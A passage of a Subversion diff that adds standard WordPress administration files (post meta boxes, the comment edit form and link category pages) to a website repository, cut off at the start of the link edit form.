+<?php $popular_ids = wp_popular_terms_checklist('category'); ?>
+	</ul>
+</div>
+
+<div id="categories-all" class="tabs-panel">
+	<ul id="categorychecklist" class="list:category categorychecklist form-no-clear">
+<?php wp_category_checklist($post->ID, false, false, $popular_ids) ?>
+	</ul>
+</div>
+
+<?php if ( current_user_can('manage_categories') ) : ?>
+<div id="category-adder" class="wp-hidden-children">
+	<h4><a id="category-add-toggle" href="#category-add" class="hide-if-no-js" tabindex="3"><?php _e( '+ Add New Category' ); ?></a></h4>
+	<p id="category-add" class="wp-hidden-child">
+	<label class="screen-reader-text" for="newcat"><?php _e( 'Add New Category' ); ?></label><input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php esc_attr_e( 'New category name' ); ?>" tabindex="3" aria-required="true"/>
+	<label class="screen-reader-text" for="newcat_parent"><?php _e('Parent category'); ?>:</label><?php wp_dropdown_categories( array( 'hide_empty' => 0, 'name' => 'newcat_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => __('Parent category'), 'tab_index' => 3 ) ); ?>
+	<input type="button" id="category-add-sumbit" class="add:categorychecklist:category-add button" value="<?php esc_attr_e( 'Add' ); ?>" tabindex="3" />
+<?php	wp_nonce_field( 'add-category', '_ajax_nonce', false ); ?>
+	<span id="category-ajax-response"></span></p>
+</div>
+<?php
+endif;
+
+}
+add_meta_box('categorydiv', __('Categories'), 'post_categories_meta_box', 'post', 'side', 'core');
+
+/**
+ * Display post password form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_password_meta_box($post) {
+?>
+<p><label for="post_status_private" class="selectit"><input id="post_status_private" name="post_status" type="checkbox" value="private" <?php checked($post->post_status, 'private'); ?> tabindex="4" /> <?php _e('Keep this post private') ?></label></p>
+<h4><?php _e( 'Post Password' ); ?></h4>
+<p><label class="screen-reader-text" for="post_password"><?php _e('Password Protect This Post') ?></label><input name="post_password" type="text" size="25" id="post_password" value="<?php the_post_password(); ?>" /></p>
+<p><?php _e('Setting a password will require people who visit your blog to enter the above password to view this post and its comments.'); ?></p>
+<?php
+}
+// add_meta_box('passworddiv', __('Privacy Options'), 'post_password_meta_box', 'post', 'side', 'core');
+
+/**
+ * Display post excerpt form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_excerpt_meta_box($post) {
+?>
+<label class="screen-reader-text" for="excerpt"><?php _e('Excerpt') ?></label><textarea rows="1" cols="40" name="excerpt" tabindex="6" id="excerpt"><?php echo $post->post_excerpt ?></textarea>
+<p><?php _e('Excerpts are optional hand-crafted summaries of your content that can be used in your theme. <a href="http://codex.wordpress.org/Excerpt" target="_blank">Learn more about manual excerpts.</a>'); ?></p>
+<?php
+}
+add_meta_box('postexcerpt', __('Excerpt'), 'post_excerpt_meta_box', 'post', 'normal', 'core');
+
+/**
+ * Display trackback links form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_trackback_meta_box($post) {
+	$form_trackback = '<input type="text" name="trackback_url" id="trackback_url" class="code" tabindex="7" value="'. esc_attr( str_replace("\n", ' ', $post->to_ping) ) .'" />';
+	if ('' != $post->pinged) {
+		$pings = '<p>'. __('Already pinged:') . '</p><ul>';
+		$already_pinged = explode("\n", trim($post->pinged));
+		foreach ($already_pinged as $pinged_url) {
+			$pings .= "\n\t<li>" . esc_html($pinged_url) . "</li>";
+		}
+		$pings .= '</ul>';
+	}
+
+?>
+<p><label for="trackback_url"><?php _e('Send trackbacks to:'); ?></label> <?php echo $form_trackback; ?><br /> (<?php _e('Separate multiple URLs with spaces'); ?>)</p>
+<p><?php _e('Trackbacks are a way to notify legacy blog systems that you&#8217;ve linked to them. If you link other WordPress blogs they&#8217;ll be notified automatically using <a href="http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments" target="_blank">pingbacks</a>, no other action necessary.'); ?></p>
+<?php
+if ( ! empty($pings) )
+	echo $pings;
+}
+add_meta_box('trackbacksdiv', __('Send Trackbacks'), 'post_trackback_meta_box', 'post', 'normal', 'core');
+
+/**
+ * Display custom fields for the post form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_custom_meta_box($post) {
+?>
+<div id="postcustomstuff">
+<div id="ajax-response"></div>
+<?php
+$metadata = has_meta($post->ID);
+list_meta($metadata);
+meta_form(); ?>
+</div>
+<p><?php _e('Custom fields can be used to add extra metadata to a post that you can <a href="http://codex.wordpress.org/Using_Custom_Fields" target="_blank">use in your theme</a>.'); ?></p>
+<?php
+}
+add_meta_box('postcustom', __('Custom Fields'), 'post_custom_meta_box', 'post', 'normal', 'core');
+
+do_action('dbx_post_advanced');
+
+/**
+ * Display comment status for post form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_comment_status_meta_box($post) {
+?>
+<input name="advanced_view" type="hidden" value="1" />
+<p class="meta-options">
+	<label for="comment_status" class="selectit"> <input name="comment_status" type="checkbox" id="comment_status" value="open" <?php checked($post->comment_status, 'open'); ?> /> <?php _e('Allow comments on this post') ?></label><br />
+	<label for="ping_status" class="selectit"><input name="ping_status" type="checkbox" id="ping_status" value="open" <?php checked($post->ping_status, 'open'); ?> /> <?php _e('Allow <a href="http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments" target="_blank">trackbacks and pingbacks</a> on this post') ?></label></p>
+<?php
+}
+add_meta_box('commentstatusdiv', __('Discussion'), 'post_comment_status_meta_box', 'post', 'normal', 'core');
+
+/**
+ * Display comments for post.
+ *
+ * @since 2.8.0
+ *
+ * @param object $post
+ */
+function post_comment_meta_box($post) {
+	global $wpdb, $post_ID;
+
+	$total = $wpdb->get_var($wpdb->prepare("SELECT count(1) FROM $wpdb->comments WHERE comment_post_ID = '%d' AND ( comment_approved = '0' OR comment_approved = '1')", $post_ID));
+
+	if ( 1 > $total ) {
+		echo '<p>' . __('No comments yet.') . '</p>';
+		return;
+	}
+
+	wp_nonce_field( 'get-comments', 'add_comment_nonce', false );
+?>
+
+<table class="widefat comments-box fixed" cellspacing="0" style="display:none;">
+<thead><tr>
+    <th scope="col" class="column-author"><?php _e('Author') ?></th>
+    <th scope="col" class="column-comment">
+<?php /* translators: field name in comment form */ echo _x('Comment', 'noun'); ?></th>
+</tr></thead>
+<tbody id="the-comment-list" class="list:comment"></tbody>
+</table>
+<p class="hide-if-no-js"><a href="#commentstatusdiv" id="show-comments" onclick="commentsBox.get(<?php echo $total; ?>);return false;"><?php _e('Show comments'); ?></a> <img class="waiting" style="display:none;" src="images/wpspin_light.gif" alt="" /></p>
+<?php
+	$hidden = get_hidden_meta_boxes('post');
+	if ( ! in_array('commentsdiv', $hidden) ) { ?>
+		<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php echo $total; ?>, 10);});</script>
+<?php
+	}
+}
+if ( 'publish' == $post->post_status || 'private' == $post->post_status )
+	add_meta_box('commentsdiv', __('Comments'), 'post_comment_meta_box', 'post', 'normal', 'core');
+
+/**
+ * Display post slug form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_slug_meta_box($post) {
+?>
+<label class="screen-reader-text" for="post_name"><?php _e('Post Slug') ?></label><input name="post_name" type="text" size="13" id="post_name" value="<?php echo esc_attr( $post->post_name ); ?>" />
+<?php
+}
+if ( !( 'pending' == $post->post_status && !current_user_can( 'publish_posts' ) ) )
+	add_meta_box('slugdiv', __('Post Slug'), 'post_slug_meta_box', 'post', 'normal', 'core');
+
+$authors = get_editable_user_ids( $current_user->id ); // TODO: ROLE SYSTEM
+if ( $post->post_author && !in_array($post->post_author, $authors) )
+	$authors[] = $post->post_author;
+if ( $authors && count( $authors ) > 1 ) :
+/**
+ * Display form field with list of authors.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_author_meta_box($post) {
+	global $current_user, $user_ID;
+	$authors = get_editable_user_ids( $current_user->id ); // TODO: ROLE SYSTEM
+	if ( $post->post_author && !in_array($post->post_author, $authors) )
+		$authors[] = $post->post_author;
+?>
+<label class="screen-reader-text" for="post_author_override"><?php _e('Post Author'); ?></label><?php wp_dropdown_users( array('include' => $authors, 'name' => 'post_author_override', 'selected' => empty($post->ID) ? $user_ID : $post->post_author) ); ?>
+<?php
+}
+add_meta_box('authordiv', __('Post Author'), 'post_author_meta_box', 'post', 'normal', 'core');
+endif;
+
+if ( 0 < $post_ID && wp_get_post_revisions( $post_ID ) ) :
+/**
+ * Display list of post revisions.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_revisions_meta_box($post) {
+	wp_list_post_revisions();
+}
+add_meta_box('revisionsdiv', __('Post Revisions'), 'post_revisions_meta_box', 'post', 'normal', 'core');
+endif;
+
+do_action('do_meta_boxes', 'post', 'normal', $post);
+do_action('do_meta_boxes', 'post', 'advanced', $post);
+do_action('do_meta_boxes', 'post', 'side', $post);
+
+require_once('admin-header.php');
+
+?>
+
+<?php if ( (isset($mode) && 'bookmarklet' == $mode) || isset($_GET['popupurl']) ): ?>
+<input type="hidden" name="mode" value="bookmarklet" />
+<?php endif; ?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+<?php if ( $notice ) : ?>
+<div id="notice" class="error"><p><?php echo $notice ?></p></div>
+<?php endif; ?>
+<?php if (isset($_GET['message'])) : ?>
+<div id="message" class="updated fade"><p><?php echo $messages[$_GET['message']]; ?></p></div>
+<?php endif; ?>
+<form name="post" action="post.php" method="post" id="post">
+<?php
+
+if ( 0 == $post_ID)
+	wp_nonce_field('add-post');
+else
+	wp_nonce_field('update-post_' .  $post_ID);
+
+?>
+
+<input type="hidden" id="user-id" name="user_ID" value="<?php echo (int) $user_ID ?>" />
+<input type="hidden" id="hiddenaction" name="action" value="<?php echo esc_attr($form_action) ?>" />
+<input type="hidden" id="originalaction" name="originalaction" value="<?php echo esc_attr($form_action) ?>" />
+<input type="hidden" id="post_author" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" />
+<input type="hidden" id="post_type" name="post_type" value="<?php echo esc_attr($post->post_type) ?>" />
+<input type="hidden" id="original_post_status" name="original_post_status" value="<?php echo esc_attr($post->post_status) ?>" />
+<input name="referredby" type="hidden" id="referredby" value="<?php echo esc_url(stripslashes(wp_get_referer())); ?>" />
+<?php
+if ( 'draft' != $post->post_status )
+	wp_original_referer_field(true, 'previous');
+
+echo $form_extra ?>
+
+<div id="poststuff" class="metabox-holder<?php echo 2 == $screen_layout_columns ? ' has-right-sidebar' : ''; ?>">
+<div id="side-info-column" class="inner-sidebar">
+
+<?php do_action('submitpost_box'); ?>
+
+<?php $side_meta_boxes = do_meta_boxes('post', 'side', $post); ?>
+</div>
+
+<div id="post-body">
+<div id="post-body-content">
+<div id="titlediv">
+<div id="titlewrap">
+	<label class="screen-reader-text" for="title"><?php _e('Title') ?></label>
+	<input type="text" name="post_title" size="30" tabindex="1" value="<?php echo esc_attr( htmlspecialchars( $post->post_title ) ); ?>" id="title" autocomplete="off" />
+</div>
+<div class="inside">
+<?php
+$sample_permalink_html = get_sample_permalink_html($post->ID);
+if ( !( 'pending' == $post->post_status && !current_user_can( 'publish_posts' ) ) ) { ?>
+	<div id="edit-slug-box">
+<?php
+	if ( ! empty($post->ID) && ! empty($sample_permalink_html) ) :
+		echo $sample_permalink_html;
+endif; ?>
+	</div>
+<?php
+} ?>
+</div>
+</div>
+
+<div id="<?php echo user_can_richedit() ? 'postdivrich' : 'postdiv'; ?>" class="postarea">
+
+<?php the_editor($post->post_content); ?>
+
+<table id="post-status-info" cellspacing="0"><tbody><tr>
+	<td id="wp-word-count"></td>
+	<td class="autosave-info">
+	<span id="autosave">&nbsp;</span>
+<?php
+	if ( $post_ID ) {
+		echo '<span id="last-edit">';
+		if ( $last_id = get_post_meta($post_ID, '_edit_last', true) ) {
+			$last_user = get_userdata($last_id);
+			printf(__('Last edited by %1$s on %2$s at %3$s'), esc_html( $last_user->display_name ), mysql2date(get_option('date_format'), $post->post_modified), mysql2date(get_option('time_format'), $post->post_modified));
+		} else {
+			printf(__('Last edited on %1$s at %2$s'), mysql2date(get_option('date_format'), $post->post_modified), mysql2date(get_option('time_format'), $post->post_modified));
+		}
+		echo '</span>';
+	} ?>
+	</td>
+</tr></tbody></table>
+
+<?php
+wp_nonce_field( 'autosave', 'autosavenonce', false );
+wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
+wp_nonce_field( 'getpermalink', 'getpermalinknonce', false );
+wp_nonce_field( 'samplepermalink', 'samplepermalinknonce', false );
+wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false ); ?>
+</div>
+
+<?php
+
+do_meta_boxes('post', 'normal', $post);
+
+do_action('edit_form_advanced');
+
+do_meta_boxes('post', 'advanced', $post);
+
+do_action('dbx_post_sidebar'); ?>
+
+</div>
+</div>
+<br class="clear" />
+</div><!-- /poststuff -->
+</form>
+</div>
+
+<?php wp_comment_reply(); ?>
+
+<?php if ((isset($post->post_title) && '' == $post->post_title) || (isset($_GET['message']) && 2 > $_GET['message'])) : ?>
+<script type="text/javascript">
+try{document.post.title.focus();}catch(e){}
+</script>
+<?php endif; ?>
Index: /trunk/www.guidonia.net/wp/wp-admin/edit-form-comment.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/edit-form-comment.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/edit-form-comment.php	(revision 44)
@@ -0,0 +1,145 @@
+<?php
+/**
+ * Edit comment form for inclusion in another file.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * @var string
+ */
+$submitbutton_text = __('Edit Comment');
+$toprow_title = sprintf(__('Editing Comment # %s'), $comment->comment_ID);
+$form_action = 'editedcomment';
+$form_extra = "' />\n<input type='hidden' name='comment_ID' value='" . esc_attr($comment->comment_ID) . "' />\n<input type='hidden' name='comment_post_ID' value='" . esc_attr($comment->comment_post_ID);
+?>
+
+<form name="post" action="comment.php" method="post" id="post">
+<?php wp_nonce_field('update-comment_' . $comment->comment_ID) ?>
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php _e('Edit Comment'); ?></h2>
+
+<div id="poststuff" class="metabox-holder has-right-sidebar">
+<input type="hidden" name="user_ID" value="<?php echo (int) $user_ID ?>" />
+<input type="hidden" name="action" value='<?php echo $form_action . $form_extra ?>' />
+<?php
+
+$email = esc_attr( $comment->comment_author_email );
+$url = esc_attr( $comment->comment_author_url );
+// add_meta_box('submitdiv', __('Save'), 'comment_submit_meta_box', 'comment', 'side', 'core');
+?>
+
+<div id="side-info-column" class="inner-sidebar">
+<div id="submitdiv" class="stuffbox" >
+<h3><span class='hndle'><?php _e('Status') ?></span></h3>
+<div class="inside">
+<div class="submitbox" id="submitcomment">
+<div id="minor-publishing">
+
+<div id="minor-publishing-actions">
+<div id="preview-action">
+<a class="preview button" href="<?php echo get_comment_link(); ?>" target="_blank"><?php _e('View Comment'); ?></a>
+</div>
+<div class="clear"></div>
+</div>
+
+<div id="misc-publishing-actions">
+
+<div class="misc-pub-section" id="comment-status-radio">
+<label class="approved"><input type="radio"<?php checked( $comment->comment_approved, '1' ); ?> name="comment_status" value="1" /><?php /* translators: comment type radio button */ echo _x('Approved', 'adjective') ?></label><br />
+<label class="waiting"><input type="radio"<?php checked( $comment->comment_approved, '0' ); ?> name="comment_status" value="0" /><?php /* translators: comment type radio button */ echo _x('Pending', 'adjective') ?></label><br />
+<label class="spam"><input type="radio"<?php checked( $comment->comment_approved, 'spam' ); ?> name="comment_status" value="spam" /><?php /* translators: comment type radio button */ echo _x('Spam', 'adjective'); ?></label>
+</div>
+
+<div class="misc-pub-section curtime misc-pub-section-last">
+<?php
+// translators: Publish box date formt, see http://php.net/date
+$datef = __( 'M j, Y @ G:i' );
+$stamp = __('Submitted on: <b>%1$s</b>');
+$date = date_i18n( $datef, strtotime( $comment->comment_date ) );
+?>
+<span id="timestamp"><?php printf($stamp, $date); ?></span>&nbsp;<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js" tabindex='4'><?php _e('Edit') ?></a>
+<div id='timestampdiv' class='hide-if-js'><?php touch_time(('editcomment' == $action), 0, 5); ?></div>
+</div>
+</div> <!-- misc actions -->
+<div class="clear"></div>
+</div>
+
+<div id="major-publishing-actions">
+<div id="delete-action">
+<?php echo "<a class='submitdelete deletion' href='" . wp_nonce_url("comment.php?action=deletecomment&amp;c=$comment->comment_ID&amp;_wp_original_http_referer=" . urlencode(wp_get_referer()), 'delete-comment_' . $comment->comment_ID) . "' onclick=\"if ( confirm('" . esc_js(__("You are about to delete this comment. \n  'Cancel' to stop, 'OK' to delete.")) . "') ){return true;}return false;\">" . __('Delete') . "</a>\n"; ?>
+</div>
+<div id="publishing-action">
+<input type="submit" name="save" value="<?php esc_attr_e('Update Comment'); ?>" tabindex="4" class="button-primary" />
+</div>
+<div class="clear"></div>
+</div>
+</div>
+</div>
+</div>
+</div>
+
+<div id="post-body">
+<div id="post-body-content">
+<div id="namediv" class="stuffbox">
+<h3><label for="name"><?php _e( 'Author' ) ?></label></h3>
+<div class="inside">
+<table class="form-table editcomment">
+<tbody>
+<tr valign="top">
+	<td class="first"><?php _e( 'Name:' ); ?></td>
+	<td><input type="text" name="newcomment_author" size="30" value="<?php echo esc_attr( $comment->comment_author ); ?>" tabindex="1" id="name" /></td>
+</tr>
+<tr valign="top">
+	<td class="first">
+	<?php
+		if ( $email ) {
+			printf( __( 'E-mail (%s):' ), get_comment_author_email_link( __( 'send e-mail' ), '', '' ) );
+		} else {
+			_e( 'E-mail:' );
+		}
+?></td>
+	<td><input type="text" name="newcomment_author_email" size="30" value="<?php echo esc_attr($email); ?>" tabindex="2" id="email" /></td>
+</tr>
+<tr valign="top">
+	<td class="first">
+	<?php
+		$url = get_comment_author_url();
+		if ( ! empty( $url ) && 'http://' != $url ) {
+			$link = "<a href='$url' rel='external nofollow' target='_blank'>" . __('visit site') . "</a>";
+			printf( __( 'URL (%s):' ), apply_filters('get_comment_author_link', $link ) );
+		} else {
+			_e( 'URL:' );
+		} ?></td>
+	<td><input type="text" id="newcomment_author_url" name="newcomment_author_url" size="30" class="code" value="<?php echo esc_attr($url); ?>" tabindex="3" /></td>
+</tr>
+</tbody>
+</table>
+<br />
+</div>
+</div>
+
+<div id="postdiv" class="postarea">
+<?php the_editor($comment->comment_content, 'content', 'newcomment_author_url', false, 4); ?>
+<?php wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false ); ?>
+</div>
+
+<?php do_meta_boxes('comment', 'normal', $comment); ?>
+
+<input type="hidden" name="c" value="<?php echo esc_attr($comment->comment_ID) ?>" />
+<input type="hidden" name="p" value="<?php echo esc_attr($comment->comment_post_ID) ?>" />
+<input name="referredby" type="hidden" id="referredby" value="<?php echo esc_url(stripslashes(wp_get_referer())); ?>" />
+<?php wp_original_referer_field(true, 'previous'); ?>
+<input type="hidden" name="noredir" value="1" />
+
+</div>
+</div>
+</div>
+</div>
+</form>
+
+<script type="text/javascript">
+try{document.post.name.focus();}catch(e){}
+</script>
Index: /trunk/www.guidonia.net/wp/wp-admin/edit-link-categories.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/edit-link-categories.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/edit-link-categories.php	(revision 44)
@@ -0,0 +1,228 @@
+<?php
+/**
+ * Edit Link Categories Administration Panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+// Handle bulk actions
+if ( isset($_GET['action']) && isset($_GET['delete']) ) {
+	check_admin_referer('bulk-link-categories');
+	$doaction = $_GET['action'] ? $_GET['action'] : $_GET['action2'];
+
+	if ( !current_user_can('manage_categories') )
+		wp_die(__('Cheatin&#8217; uh?'));
+
+	if ( 'delete' == $doaction ) {
+		foreach( (array) $_GET['delete'] as $cat_ID ) {
+			$cat_name = get_term_field('name', $cat_ID, 'link_category');
+			$default_cat_id = get_option('default_link_category');
+
+			// Don't delete the default cats.
+			if ( $cat_ID == $default_cat_id )
+				wp_die(sprintf(__("Can&#8217;t delete the <strong>%s</strong> category: this is the default one"), $cat_name));
+
+			wp_delete_term($cat_ID, 'link_category', array('default' => $default_cat_id));
+		}
+
+		$location = 'edit-link-categories.php';
+		if ( $referer = wp_get_referer() ) {
+			if ( false !== strpos($referer, 'edit-link-categories.php') )
+				$location = $referer;
+		}
+
+		$location = add_query_arg('message', 6, $location);
+		wp_redirect($location);
+		exit();
+	}
+} elseif ( isset($_GET['_wp_http_referer']) && ! empty($_GET['_wp_http_referer']) ) {
+	 wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI']) ) );
+	 exit;
+}
+
+$title = __('Link Categories');
+
+wp_enqueue_script('admin-categories');
+if ( current_user_can('manage_categories') )
+	wp_enqueue_script('inline-edit-tax');
+
+require_once ('admin-header.php');
+
+$messages[1] = __('Category added.');
+$messages[2] = __('Category deleted.');
+$messages[3] = __('Category updated.');
+$messages[4] = __('Category not added.');
+$messages[5] = __('Category not updated.');
+$messages[6] = __('Categories deleted.'); ?>
+
+<div class="wrap nosubsub">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title );
+if ( isset($_GET['s']) && $_GET['s'] )
+	printf( '<span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', esc_html( stripslashes($_GET['s']) ) ); ?>
+</h2>
+
+<?php if ( isset($_GET['message']) && ( $msg = (int) $_GET['message'] ) ) : ?>
+<div id="message" class="updated fade"><p><?php echo $messages[$msg]; ?></p></div>
+<?php $_SERVER['REQUEST_URI'] = remove_query_arg(array('message'), $_SERVER['REQUEST_URI']);
+endif; ?>
+
+<form class="search-form" action="" method="get">
+<p class="search-box">
+	<label class="screen-reader-text" for="link-category-search-input"><?php _e( 'Search Categories' ); ?>:</label>
+	<input type="text" id="link-category-search-input" name="s" value="<?php _admin_search_query(); ?>" />
+	<input type="submit" value="<?php esc_attr_e( 'Search Categories' ); ?>" class="button" />
+</p>
+</form>
+<br class="clear" />
+
+<div id="col-container">
+
+<div id="col-right">
+<div class="col-wrap">
+<form id="posts-filter" action="" method="get">
+<div class="tablenav">
+
+<?php
+$pagenum = isset( $_GET['pagenum'] ) ? absint( $_GET['pagenum'] ) : 0;
+if ( empty($pagenum) )
+	$pagenum = 1;
+if( ! isset( $catsperpage ) || $catsperpage < 0 )
+	$catsperpage = 20;
+
+$page_links = paginate_links( array(
+	'base' => add_query_arg( 'pagenum', '%#%' ),
+	'format' => '',
+	'prev_text' => __('&laquo;'),
+	'next_text' => __('&raquo;'),
+	'total' => ceil(wp_count_terms('link_category') / $catsperpage),
+	'current' => $pagenum
+));
+
+if ( $page_links )
+	echo "<div class='tablenav-pages'>$page_links</div>";
+?>
+
+<div class="alignleft actions">
+<select name="action">
+<option value="" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction" id="doaction" class="button-secondary action" />
+<?php wp_nonce_field('bulk-link-categories'); ?>
+</div>
+
+<br class="clear" />
+</div>
+
+<div class="clear"></div>
+
+<table class="widefat fixed" cellspacing="0">
+	<thead>
+	<tr>
+<?php print_column_headers('edit-link-categories'); ?>
+	</tr>
+	</thead>
+
+	<tfoot>
+	<tr>
+<?php print_column_headers('edit-link-categories', false); ?>
+	</tr>
+	</tfoot>
+
+	<tbody id="the-list" class="list:link-cat">
+<?php
+$start = ($pagenum - 1) * $catsperpage;
+$args = array('offset' => $start, 'number' => $catsperpage, 'hide_empty' => 0);
+if ( !empty( $_GET['s'] ) )
+	$args['search'] = $_GET['s'];
+
+$categories = get_terms( 'link_category', $args );
+if ( $categories ) {
+	$output = '';
+	foreach ( $categories as $category ) {
+		$output .= link_cat_row($category);
+	}
+	echo $output;
+	unset($category);
+}
+
+?>
+	</tbody>
+</table>
+
+<div class="tablenav">
+<?php
+if ( $page_links )
+	echo "<div class='tablenav-pages'>$page_links</div>";
+?>
+
+<div class="alignleft actions">
+<select name="action2">
+<option value="" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction2" id="doaction2" class="button-secondary action" />
+</div>
+
+<br class="clear" />
+</div>
+<br class="clear" />
+</form>
+
+<div class="form-wrap">
+<p><?php printf(__('<strong>Note:</strong><br />Deleting a category does not delete the links in that category. Instead, links that were only assigned to the deleted category are set to the category <strong>%s</strong>.'), get_term_field('name', get_option('default_link_category'), 'link_category')) ?></p>
+</div>
+
+
+</div>
+</div><!-- /col-right -->
+
+<div id="col-left">
+<div class="col-wrap">
+
+<?php if ( current_user_can('manage_categories') ) {
+	$category = (object) array(); $category->parent = 0; do_action('add_link_category_form_pre', $category); ?>
+
+<div class="form-wrap">
+<h3><?php _e('Add Link Category'); ?></h3>
+<div id="ajax-response"></div>
+<form name="addcat" id="addcat" class="add:the-list: validate" method="post" action="link-category.php">
+<input type="hidden" name="action" value="addcat" />
+<?php wp_original_referer_field(true, 'previous'); wp_nonce_field('add-link-category'); ?>
+
+<div class="form-field form-required">
+	<label for="name"><?php _e('Link Category name') ?></label>
+	<input name="name" id="name" type="text" value="" size="40" aria-required="true" />
+</div>
+
+<div class="form-field">
+	<label for="slug"><?php _e('Link Category slug') ?></label>
+	<input name="slug" id="slug" type="text" value="" size="40" />
+	<p><?php _e('The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.'); ?></p>
+</div>
+
+<div class="form-field">
+	<label for="description"><?php _e('Description (optional)') ?></label>
+	<textarea name="description" id="description" rows="5" cols="40"></textarea>
+</div>
+
+<p class="submit"><input type="submit" class="button" name="submit" value="<?php esc_attr_e('Add Category'); ?>" /></p>
+<?php do_action('edit_link_category_form', $category); ?>
+</form>
+</div>
+
+<?php } ?>
+
+</div>
+</div><!-- /col-left -->
+
+</div><!-- /col-container -->
+</div><!-- /wrap -->
+
+<?php inline_edit_term_row('edit-link-categories'); ?>
+<?php include('admin-footer.php'); ?>
Index: /trunk/www.guidonia.net/wp/wp-admin/edit-link-category-form.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/edit-link-category-form.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/edit-link-category-form.php	(revision 44)
@@ -0,0 +1,82 @@
+<?php
+/**
+ * Edit link category form for inclusion in administration panels.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * @var object
+ */
+if ( ! isset( $category ) )
+	$category = (object) array();
+
+if ( ! empty($cat_ID) ) {
+	/**
+	 * @var string
+	 */
+	$heading = '<h2>' . __('Edit Link Category') . '</h2>';
+	$submit_text = __('Update Category');
+	$form = '<form name="editcat" id="editcat" method="post" action="link-category.php" class="validate">';
+	$action = 'editedcat';
+	$nonce_action = 'update-link-category_' . $cat_ID;
+	do_action('edit_link_category_form_pre', $category);
+} else {
+	$heading = '<h2>' . __('Add Link Category') . '</h2>';
+	$submit_text = __('Add Category');
+	$form = '<form name="addcat" id="addcat" class="add:the-list: validate" method="post" action="link-category.php">';
+	$action = 'addcat';
+	$nonce_action = 'add-link-category';
+	do_action('add_link_category_form_pre', $category);
+}
+
+/**
+ * @ignore
+ * @since 2.7
+ * @internal Used to prevent errors in page when no category is being edited.
+ *
+ * @param object $category
+ */
+function _fill_empty_link_category(&$category) {
+	if ( ! isset( $category->name ) )
+		$category->name = '';
+
+	if ( ! isset( $category->slug ) )
+		$category->slug = '';
+
+	if ( ! isset( $category->description ) )
+		$category->description = '';
+}
+
+_fill_empty_link_category($category);
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<?php echo $heading ?>
+<div id="ajax-response"></div>
+<?php echo $form ?>
+<input type="hidden" name="action" value="<?php echo esc_attr($action) ?>" />
+<input type="hidden" name="cat_ID" value="<?php echo esc_attr($category->term_id) ?>" />
+<?php wp_original_referer_field(true, 'previous'); wp_nonce_field($nonce_action); ?>
+	<table class="form-table">
+		<tr class="form-field form-required">
+			<th scope="row" valign="top"><label for="name"><?php _e('Link Category name') ?></label></th>
+			<td><input name="name" id="name" type="text" value="<?php echo esc_attr($category->name); ?>" size="40" aria-required="true" /></td>
+		</tr>
+		<tr class="form-field">
+			<th scope="row" valign="top"><label for="slug"><?php _e('Link Category slug') ?></label></th>
+			<td><input name="slug" id="slug" type="text" value="<?php echo esc_attr(apply_filters('editable_slug', $category->slug)); ?>" size="40" /><br />
+            <?php _e('The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.'); ?></td>
+		</tr>
+		<tr class="form-field">
+			<th scope="row" valign="top"><label for="description"><?php _e('Description (optional)') ?></label></th>
+			<td><textarea name="description" id="description" rows="5" cols="50" style="width: 97%;"><?php echo $category->description; ?></textarea></td>
+		</tr>
+		<?php do_action('edit_link_category_form_fields', $category); ?>
+	</table>
+<p class="submit"><input type="submit" class="button-primary" name="submit" value="<?php echo esc_attr($submit_text) ?>" /></p>
+<?php do_action('edit_link_category_form', $category); ?>
+</form>
+</div>
Index: /trunk/www.guidonia.net/wp/wp-admin/edit-link-form.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/edit-link-form.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/edit-link-form.php	(revision 44)
@@ -0,0 +1,418 @@
+<?php
+/**
+ * Edit links form for inclusion in administration panels.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( ! empty($link_id) ) {
